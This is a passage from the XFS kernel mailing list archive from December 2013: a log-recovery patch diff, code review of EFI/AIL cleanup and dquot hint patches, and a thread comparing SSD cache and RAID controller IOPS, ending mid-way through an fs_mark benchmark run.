xfs_warn(log->l_mp, "%s: bad clientid 0x%x", + xfs_warn(log->l_mp, + "%s: bad transaction opheader clientid 0x%x", __func__, ohead->oh_clientid); ASSERT(0); - return (XFS_ERROR(EIO)); + if (trans) + xlog_recover_free_trans(trans); + return EIO; } tid = be32_to_cpu(ohead->oh_tid); hash = XLOG_RHASH(tid); @@ -3578,11 +3597,14 @@ xlog_recover_process_data( be64_to_cpu(rhead->h_lsn)); } else { if (dp + be32_to_cpu(ohead->oh_len) > lp) { - xfs_warn(log->l_mp, "%s: bad length 0x%x", + xfs_warn(log->l_mp, + "%s: bad transaction opheader length 0x%x", __func__, be32_to_cpu(ohead->oh_len)); WARN_ON(1); - return (XFS_ERROR(EIO)); + xlog_recover_free_trans(trans); + return EIO; } + flags = ohead->oh_flags & ~XLOG_END_TRANS; if (flags & XLOG_WAS_CONT_TRANS) flags &= ~XLOG_CONTINUE_TRANS; @@ -3591,36 +3613,35 @@ xlog_recover_process_data( error = xlog_recover_commit_trans(log, trans, pass); break; - case XLOG_UNMOUNT_TRANS: - error = xlog_recover_unmount_trans(log, trans); - break; case XLOG_WAS_CONT_TRANS: error = xlog_recover_add_to_cont_trans(log, trans, dp, be32_to_cpu(ohead->oh_len)); break; - case XLOG_START_TRANS: - xfs_warn(log->l_mp, "%s: bad transaction", - __func__); - ASSERT(0); - error = XFS_ERROR(EIO); - break; case 0: case XLOG_CONTINUE_TRANS: error = xlog_recover_add_to_trans(log, trans, dp, be32_to_cpu(ohead->oh_len)); break; + case XLOG_UNMOUNT_TRANS: + xfs_warn(log->l_mp, "%s: Unmount LR", __func__); + break; + case XLOG_START_TRANS: default: - xfs_warn(log->l_mp, "%s: bad flag 0x%x", + xfs_warn(log->l_mp, + "%s: bad transaction opheader flag 0x%x", __func__, flags); ASSERT(0); - error = XFS_ERROR(EIO); - break; - } - if (error) { xlog_recover_free_trans(trans); - return error; + return EIO; } + /* + * If there's been an error, the trans structure has + * already been freed. So there's nothing for us to do + * but abort the recovery process. + */ + if (error) + return error; } dp += be32_to_cpu(ohead->oh_len); num_logops--; From stan@hardwarefreak.com Sun Dec 8 18:58:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6F1897F37 for ; Sun, 8 Dec 2013 18:58:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5B656304039 for ; Sun, 8 Dec 2013 16:58:20 -0800 (PST) X-ASG-Debug-ID: 1386550684-04cbb0416661b820001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id hyMeSoWnHI0GJEbP for ; Sun, 08 Dec 2013 16:58:07 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 6B66D6C0C6; Sun, 8 Dec 2013 18:58:04 -0600 (CST) Message-ID: <52A5159F.2060309@hardwarefreak.com> Date: Sun, 08 Dec 2013 18:58:07 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Emmanuel Florac CC: Mike Dacre , "xfs@oss.sgi.com" Subject: Re: Sudden File System Corruption References: <52A03513.6030408@hardwarefreak.com> <52A191BA.20800@hardwarefreak.com> <52A302A9.9050509@hardwarefreak.com> <52A401FF.9050506@hardwarefreak.com> <20131208160339.5c45ab91@galadriel.home> X-ASG-Orig-Subj: Re: Sudden File System Corruption In-Reply-To: <20131208160339.5c45ab91@galadriel.home> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1386550687 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/8/2013 9:03 AM, Emmanuel Florac wrote: > Le Sat, 07 Dec 2013 23:22:07 -0600 vous criviez: > >>> Thanks for the great advice, I think you are on to something >>> there. I will >> >> You're welcome. Full disclosure: I should have mentioned that I >> haven't used CacheCade yet myself. My statements WRT performance are >> based on available literature and understanding of the technology. > > I didn't test thoroughly cachecade though I have a license code > somewhere, however I've used the equivalent Adaptec feature and one SSD > roughly double the IOPS of a RAID-6 array of 15k RPM SAS drives from > about 4200 IOPS to 7500 IOPS. Emmanuel do you recall which SSD you used here? 7500 IOPS is very low by today's standards. What I'm wondering is if you had an older low IOPS SSD, or, a modern high IOPS rated SSD that performed way below its specs in this application. The Samsung 840 Pro I recommended is rated at 90K 4K write IOPS and actually hits that mark in IOmeter testing at a queue depth of 7 and greater: http://www.tomshardware.com/reviews/840-pro-ssd-toggle-mode-2,3302-3.html Its processor is a 3 core ARM Cortex R4 so it should excel in this RAID cache application, which will likely have gobs of concurrency, and thus a high queue depth. Found a review of CacheCade 2.0. Their testing shows near actual SSD throughput. The Micron P300 has 44K/16K read/write IOPS and their testing hits 30K. So you should be able to hit close to ~90K read/write IOPS with the Samsung 840s. http://www.storagereview.com/lsi_megaraid_cachecade_pro_20_review -- Stan From david@fromorbit.com Sun Dec 8 19:01:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BCF4D7F37 for ; Sun, 8 Dec 2013 19:01:22 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8A2F7304039 for ; Sun, 8 Dec 2013 17:01:19 -0800 (PST) X-ASG-Debug-ID: 1386550869-04bdf0131b11cc20001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id SvZpI0gxc5SxIGBQ for ; Sun, 08 Dec 2013 17:01:09 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIAMEVpVJ5LHyk/2dsb2JhbABZgweDNrEXhU+BGhd0giUBAQUnExwjEAgDGAklDwUlAyETiAHAeBaODmwHhDMDjFmLOodBilODPSiBNQ Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 11:31:08 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VppDN-0007gg-CX; Mon, 09 Dec 2013 12:00:49 +1100 Date: Mon, 9 Dec 2013 12:00:49 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3] xfs: free the efi AIL entry on log recovery failure Message-ID: <20131209010049.GN31386@dastard> X-ASG-Orig-Subj: Re: [PATCH v3] xfs: free the efi AIL entry on log recovery failure References: <20131206212037.560711585@sgi.com> <20131208005224.696001432@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131208005224.696001432@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386550869 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142949 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Sat, Dec 07, 2013 at 06:52:12PM -0600, Mark Tinguely wrote: > If an extent free fails during recovery, the filesystem will be > forced down. The efi entry is still on the AIL and the log > shutdown function xfs_ail_push_all_sync() will hang. > > This patch is similar to the patches that removed the dquot and > inode in commits 32ce90a and dea9609 but removes all the EFI > entries from the AIL. > > Signed-off-by: Mark Tinguely > --- > v3 (Augh - where is my head?) only remove efi items on error. > v2 remove all the EFIs from the AIL rather than the current entry > per Dave's suggestion. > move the cleaning routine to caller. > > fs/xfs/xfs_log_recover.c | 36 ++++++++++++++++++++++++------------ > 1 file changed, 24 insertions(+), 12 deletions(-) > > Index: b/fs/xfs/xfs_log_recover.c > =================================================================== > --- a/fs/xfs/xfs_log_recover.c > +++ b/fs/xfs/xfs_log_recover.c > @@ -3635,11 +3635,11 @@ xlog_recover_process_data( > */ > STATIC int > xlog_recover_process_efi( > - xfs_mount_t *mp, > - xfs_efi_log_item_t *efip) > + struct xfs_mount *mp, > + struct xfs_efi_log_item *efip) > { > - xfs_efd_log_item_t *efdp; > - xfs_trans_t *tp; > + struct xfs_efd_log_item *efdp; > + struct xfs_trans *tp; > int i; > int error = 0; > xfs_extent_t *extp; > @@ -3660,12 +3660,7 @@ xlog_recover_process_efi( > (extp->ext_len == 0) || > (startblock_fsb >= mp->m_sb.sb_dblocks) || > (extp->ext_len >= mp->m_sb.sb_agblocks)) { > - /* > - * This will pull the EFI from the AIL and > - * free the memory associated with it. > - */ > - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); > - xfs_efi_release(efip, efip->efi_format.efi_nextents); > + /* The caller will free all efi entries on error. */ > return XFS_ERROR(EIO); > } > } > @@ -3691,6 +3686,7 @@ xlog_recover_process_efi( > > abort_error: > xfs_trans_cancel(tp, XFS_TRANS_ABORT); > + /* The caller will free all efi entries on error. */ > return error; > } That sort of comment belongs in the function header, not there. Also, like I said previously, XFS_EFI_RECOVERED should be set unconditionally at the start of the function and the error handling should always release it, so that the state of the EFI on leaving this function is always consistent. This is especially important if we have an EFD pointing at the EFI - right now we can leave the function on error with an EFD pointing at the EFI, but the EFI may or may not ahve the XFS_EFI_RECOVERED bit set. i.e. consider that if xfs_trans_commit() fails, it's the same case as calling xfs_trans_cancel(XFS_TRANS_ABORT). > @@ -3716,8 +3712,8 @@ STATIC int > xlog_recover_process_efis( > struct xlog *log) > { > - xfs_log_item_t *lip; > - xfs_efi_log_item_t *efip; > + struct xfs_log_item *lip; > + struct xfs_efi_log_item *efip; > int error = 0; > struct xfs_ail_cursor cur; > struct xfs_ail *ailp; > @@ -3756,7 +3752,23 @@ xlog_recover_process_efis( > } > out: > xfs_trans_ail_cursor_done(ailp, &cur); > + lip = xfs_ail_min(ailp); > spin_unlock(&ailp->xa_lock); > + if (!error) > + return 0; > + > + /* Free all the EFI from the AIL upon error */ > + while (lip) { > + if (lip->li_type == XFS_LI_EFI) { > + efip = (xfs_efi_log_item_t *)lip; > + if (!test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)) > + set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); > + xfs_efi_release(efip, efip->efi_format.efi_nextents); > + } > + spin_lock(&ailp->xa_lock); > + lip = xfs_ail_min(ailp); > + spin_unlock(&ailp->xa_lock); > + } > return error; It's never valid to walk the AIL without a cursor. Especially here, where we could be racing with log IO completion doing shutdown processing and modifying the AIL. What's to stop log IO completion from freeing the log item at the tail of the log just after we drop the AIL lock here? What happens if the tail of the log is not an EFI? We just spin on it and then, potentially, access it after it's been removed from the AIL and freed.... IOWs, the only safe entries for us to touch here are EFIs and we have to safely traverse the AIL because there are items other than EFIs in the AIL and they may be concurrently removed by the log. Only a cursor-based traversal makes that AIL traversal safe as it detects list perturbations while the AIL has been dropped and prevents us from accessing objects that we shouldn't be touching. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 8 19:27:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 783DA7F37 for ; Sun, 8 Dec 2013 19:27:02 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EC60AAC003 for ; Sun, 8 Dec 2013 17:26:58 -0800 (PST) X-ASG-Debug-ID: 1386552405-04cbb0416661c8e0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id T1s8k8oKmQdADHhl for ; Sun, 08 Dec 2013 17:26:46 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIAJsbpVJ5LHyk/2dsb2JhbABZgweDNrEXhU+BHBd0giUBAQQBOhwjBQsIAxUDCSUPBSUDIRMbA4deBcBWFxaODh9NB4QzA5gTilEEhz+Ba4FSKIEtCBc Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 11:56:45 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VppcQ-0007ix-N9; Mon, 09 Dec 2013 12:26:42 +1100 Date: Mon, 9 Dec 2013 12:26:42 +1100 From: Dave Chinner To: Jeff Liu Cc: Ben Myers , Christoph Hellwig , "xfs@oss.sgi.com" Subject: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot Message-ID: <20131209012642.GO31386@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot References: <5294A469.1060000@oracle.com> <20131128104336.GE26927@infradead.org> <52986001.9040101@oracle.com> <20131206210137.GT1935@sgi.com> <52A2B75C.3040803@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A2B75C.3040803@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386552405 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142950 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Dec 07, 2013 at 01:51:24PM +0800, Jeff Liu wrote: > Hi Ben, > .... > >> void > >> xfs_qm_dqpurge_all() > >> { > >> xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge_hints, NULL); > >> > >> if (flags & XFS_QMOPT_UQUOTA) > >> xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge, NULL); > >> if (flags & XFS_QMOPT_GQUOTA) > >> xfs_qm_dquot_walk(mp, XFS_DQ_GROUP, xfs_qm_dqpurge, NULL); > >> if (flags & XFS_QMOPT_PQUOTA) > >> xfs_qm_dquot_walk(mp, XFS_DQ_PROJ, xfs_qm_dqpurge, NULL); > >> } > >> > >> Above code is what I can figured out as per your suggestions for now, but it > >> would introduce overheads for walking through user dquots to release hints > >> separately if we want to turn user quota off. > >> > >> Any thoughts? > > > > I was gonna pull in the single walk version, but now I realize that it is still > > under discussion. I'm happy with either implementation, with maybe a slight > > preference for a single user quota walk. Can you and Christoph come to an > > agreement? > For now, I can not figure out a more optimized solution. Well, I just realized > I don't need to initialize both gdqp and pdqp to NULL at xfs_qm_dqpurge_hints() > since they will be evaluated by dqp pointers dereference anyway. As a minor fix, > the revised version was shown as follows. > > Christoph, as I mentioned previously, keeping a separate walk to release the user > dquots would also have overloads in some cases, would you happy to have this fix > although it is not most optimized? I'm happy either way it is done - I'd prefer we fix the problem than bikeshed over an extra radix tree walk or not given for most people the overhead won't be significant. > From: Jie Liu > > xfs_quota(8) will hang up if trying to turn group/project quota off > before the user quota is off, this could be 100% reproduced by: ..... So from the perspective, I'm happy to consider the updated patch as: Reviewed-by: Dave Chinner However, I question the need for the hints at all now. The hints were necessary back when the quota manager had global lists and hashes, and the lookups were expensive. Hence there was a significant win to caching the group dquot on the user dquot as it avoided a significant amount of code, locks and dirty cachelines. Now, it's just a radix tree lookup under only a single lock and the process dirties far fewer cachelines (none in the radix tree at all) and so should be substantially faster than the old code. And with the dquots being attached and cached on inodes in the first place, I don't see much advantage to keeping hints on the user dquot. THis is especially true for project quotas where a user might be accessing files in different projects all the time and so thrashing the project quota hint on the user dquot.... Hence I wonder if removing the dquot hint caching altogether would result in smaller, simpler, faster code. And, in reality, if the radix tree lock is a contention point on lookup after removing the hints, then we can fix that quite easily by switching to RCU-based lockless lookups like we do for the inode cache.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 8 19:40:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BCA3D7F3F for ; Sun, 8 Dec 2013 19:40:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9C2428F8040 for ; Sun, 8 Dec 2013 17:40:43 -0800 (PST) X-ASG-Debug-ID: 1386553220-04cb6c537e614710001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id ZUBm5idmUhJR1SJC for ; Sun, 08 Dec 2013 17:40:20 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuYRACUfpVJ5LHyk/2dsb2JhbABZgwc4gn6hYwOPMYVPgRwXdIIlAQEEATIBIyMFCwgDGAklDwUlAyETh3wFDsBgFo4iWAeEMwOYE5IUgz0ogSw Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 12:10:05 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VpppK-0007kI-9b; Mon, 09 Dec 2013 12:40:02 +1100 Date: Mon, 9 Dec 2013 12:40:02 +1100 From: Dave Chinner To: Stan Hoeppner Cc: Emmanuel Florac , Mike Dacre , "xfs@oss.sgi.com" Subject: Re: Sudden File System Corruption Message-ID: <20131209014002.GP31386@dastard> X-ASG-Orig-Subj: Re: Sudden File System Corruption References: <52A03513.6030408@hardwarefreak.com> <52A191BA.20800@hardwarefreak.com> <52A302A9.9050509@hardwarefreak.com> <52A401FF.9050506@hardwarefreak.com> <20131208160339.5c45ab91@galadriel.home> <52A5159F.2060309@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <52A5159F.2060309@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386553220 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142950 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Dec 08, 2013 at 06:58:07PM -0600, Stan Hoeppner wrote: > On 12/8/2013 9:03 AM, Emmanuel Florac wrote: > > Le Sat, 07 Dec 2013 23:22:07 -0600 vous criviez: > > > >>> Thanks for the great advice, I think you are on to something > >>> there. I will > >> > >> You're welcome. Full disclosure: I should have mentioned that I > >> haven't used CacheCade yet myself. My statements WRT performance are > >> based on available literature and understanding of the technology. > > > > I didn't test thoroughly cachecade though I have a license code > > somewhere, however I've used the equivalent Adaptec feature and one SSD > > roughly double the IOPS of a RAID-6 array of 15k RPM SAS drives from > > about 4200 IOPS to 7500 IOPS. > > Emmanuel do you recall which SSD you used here? 7500 IOPS is very low > by today's standards. What I'm wondering is if you had an older low > IOPS SSD, or, a modern high IOPS rated SSD that performed way below its > specs in this application. It's most likely limited by the RAID firmware implementation, not the SSD. > > The Samsung 840 Pro I recommended is rated at 90K 4K write IOPS and > actually hits that mark in IOmeter testing at a queue depth of 7 and > greater: > http://www.tomshardware.com/reviews/840-pro-ssd-toggle-mode-2,3302-3.html Most RAID controllers can't saturate the IOPS capability of a single modern SSD - the LSI 2208 in my largest test box can't sustain much more than 30k write IOPS with the 1GB FBWC set to writeback mode, even though the writes are spread across 4 SSDs that can do about 200k IOPS between them. > Its processor is a 3 core ARM Cortex R4 so it should excel in this RAID > cache application, which will likely have gobs of concurrency, and thus > a high queue depth. That is probably 2x more powerful as the RAID controller's CPU... > Found a review of CacheCade 2.0. Their testing shows near actual SSD > throughput. The Micron P300 has 44K/16K read/write IOPS and their > testing hits 30K. So you should be able to hit close to ~90K read/write > IOPS with the Samsung 840s. > > http://www.storagereview.com/lsi_megaraid_cachecade_pro_20_review Like all benchmarks, take them with a grain of salt. There's nothing there about the machine that it was actually tested on, and the data sets used for most of the tests were a small fraction of the size of the SSD (i.e. all the storagemark tests used a dataset smaller than 10GB, and the rest were sequential IO). IOW, it was testing SSD resident performance only, not the performance you'd see when the cache is full and having to page random data in and out of the SSD cache to/from spinning disks. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Dec 8 20:37:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 572947F50 for ; Sun, 8 Dec 2013 20:37:28 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 02702AC001 for ; Sun, 8 Dec 2013 18:37:24 -0800 (PST) X-ASG-Debug-ID: 1386556621-04bdf01323120330001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id LPaFFlNUgU5Hh5l2 for ; Sun, 08 Dec 2013 18:37:01 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AicIAB8spVJ5LHyk/2dsb2JhbABZgweDNrEXhU+BHxd0giUBAQU6HCMQCAMVAwklDwUlAyETGwOHY8BiFxaODh9NB4QzA5gTilEEhz+Ba4FSKIEtCBc Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 09 Dec 2013 13:06:59 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VpqiN-0007qf-EF; Mon, 09 Dec 2013 13:36:55 +1100 Date: Mon, 9 Dec 2013 13:36:55 +1100 From: Dave Chinner To: Jeff Liu Cc: Christoph Hellwig , Ben Myers , "xfs@oss.sgi.com" Subject: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot Message-ID: <20131209023655.GQ31386@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot References: <5294A469.1060000@oracle.com> <20131128104336.GE26927@infradead.org> <52986001.9040101@oracle.com> <20131206210137.GT1935@sgi.com> <52A2B75C.3040803@oracle.com> <20131209012642.GO31386@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131209012642.GO31386@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386556621 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142951 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 09, 2013 at 12:26:42PM +1100, Dave Chinner wrote: > On Sat, Dec 07, 2013 at 01:51:24PM +0800, Jeff Liu wrote: > > Hi Ben, > > > .... > > >> void > > >> xfs_qm_dqpurge_all() > > >> { > > >> xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge_hints, NULL); > > >> > > >> if (flags & XFS_QMOPT_UQUOTA) > > >> xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge, NULL); > > >> if (flags & XFS_QMOPT_GQUOTA) > > >> xfs_qm_dquot_walk(mp, XFS_DQ_GROUP, xfs_qm_dqpurge, NULL); > > >> if (flags & XFS_QMOPT_PQUOTA) > > >> xfs_qm_dquot_walk(mp, XFS_DQ_PROJ, xfs_qm_dqpurge, NULL); > > >> } > > >> > > >> Above code is what I can figured out as per your suggestions for now, but it > > >> would introduce overheads for walking through user dquots to release hints > > >> separately if we want to turn user quota off. > > >> > > >> Any thoughts? > > > > > > I was gonna pull in the single walk version, but now I realize that it is still > > > under discussion. I'm happy with either implementation, with maybe a slight > > > preference for a single user quota walk. Can you and Christoph come to an > > > agreement? > > For now, I can not figure out a more optimized solution. Well, I just realized > > I don't need to initialize both gdqp and pdqp to NULL at xfs_qm_dqpurge_hints() > > since they will be evaluated by dqp pointers dereference anyway. As a minor fix, > > the revised version was shown as follows. > > > > Christoph, as I mentioned previously, keeping a separate walk to release the user > > dquots would also have overloads in some cases, would you happy to have this fix > > although it is not most optimized? > > I'm happy either way it is done - I'd prefer we fix the problem than > bikeshed over an extra radix tree walk or not given for most people > the overhead won't be significant. > > > From: Jie Liu > > > > xfs_quota(8) will hang up if trying to turn group/project quota off > > before the user quota is off, this could be 100% reproduced by: > ..... > > So from the perspective, I'm happy to consider the updated > patch as: > > Reviewed-by: Dave Chinner > > However, I question the need for the hints at all now. The hints > were necessary back when the quota manager had global lists and > hashes, and the lookups were expensive. Hence there was a > significant win to caching the group dquot on the user dquot as it > avoided a significant amount of code, locks and dirty cachelines. > > Now, it's just a radix tree lookup under only a single lock and the > process dirties far fewer cachelines (none in the radix tree at all) > and so should be substantially faster than the old code. And with > the dquots being attached and cached on inodes in the first place, I > don't see much advantage to keeping hints on the user dquot. THis is > especially true for project quotas where a user might be accessing > files in different projects all the time and so thrashing the > project quota hint on the user dquot.... > > Hence I wonder if removing the dquot hint caching altogether would > result in smaller, simpler, faster code. And, in reality, if the > radix tree lock is a contention point on lookup after removing the > hints, then we can fix that quite easily by switching to RCU-based > lockless lookups like we do for the inode cache.... Actually, scalability couldn't get any worse by removing the hints. If I run a concurrent workload with quota enabled, the global dquot locks (be it user, quota or project) completely serialises the workload. This result if from u/g/p all enabled, run by a single user in a single group and a project ID of zero: ./fs_mark -D 10000 -S0 -n 100000 -s 0 -L 32 -d /mnt/scratch/0 -d /mnt/scratch/1 -d /mnt/scratch/2 -d /mnt/scratch/3 -d /mnt/scratch/4 -d /mnt/scratch/5 -d /mnt/scratch/6 -d /mnt/scratch/7 -d /mnt/scratch/8 -d /mnt/scratch/9 -d /mnt/scratch/10 -d /mnt/scratch/11 -d /mnt/scratch/12 -d /mnt/scratch/13 -d /mnt/scratch/14 -d /mnt/scratch/15 # Version 3.3, 16 thread(s) starting at Mon Dec 9 12:53:46 2013 # Sync method: 